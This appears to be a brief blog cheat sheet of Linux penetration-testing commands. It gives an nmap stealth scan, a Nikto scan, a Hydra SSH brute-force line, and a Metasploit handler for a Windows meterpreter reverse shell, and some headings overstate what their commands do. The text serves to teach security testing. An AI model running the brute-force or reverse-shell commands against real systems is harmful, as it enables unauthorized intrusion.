Penetration testing is a critical skill for cybersecurity professionals, and mastering Linux commands is essential for efficient testing. Below are some must-know commands and techniques to enhance your penetration testing workflow.
You Should Know:
1. Network Scanning with `nmap`
`nmap` is a powerful network scanning tool used to discover hosts and services.
nmap -sS -A -T4 target_ip
– -sS: Stealth SYN scan
– -A: Aggressive scan (OS detection, version detection)
– -T4: Faster scan speed
#### **2. Vulnerability Scanning with `Nikto`**
Scan web servers for vulnerabilities:
nikto -h http://target_website.com
#### **3. Password Cracking with `Hydra`**
Brute-force login credentials:
hydra -l admin -P /path/to/passwords.txt ssh://target_ip
#### **4. Exploitation with `Metasploit`**
Launch exploits using Metasploit Framework:
msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your_ip set LPORT 4444 exploit
#### **5. Packet Sniffing with `tcpdump`**
Capture network traffic:
tcpdump -i eth0 -w capture.pcap
#### **6. File Transfer with `scp`**
Securely transfer files between systems:
scp file.txt user@remote_ip:/path/to/destination
#### **7. Privilege Escalation with `sudo`**
Check for sudo privileges:
sudo -l
#### **8. System Information with `uname`**
Get kernel details:
uname -a
#### **9. Process Management with `ps`**
List running processes:
ps aux
#### **10. Firewall Bypass with `iptables`**
Check firewall rules:
iptables -L
### **What Undercode Say:**
Mastering these Linux commands is crucial for penetration testers. Regular practice and real-world application will enhance your efficiency in identifying vulnerabilities, exploiting weaknesses, and securing systems. Always ensure ethical hacking practices and obtain proper authorization before testing.
### **Expected Output:**
A well-structured penetration testing workflow using Linux commands for reconnaissance, exploitation, and post-exploitation tasks.
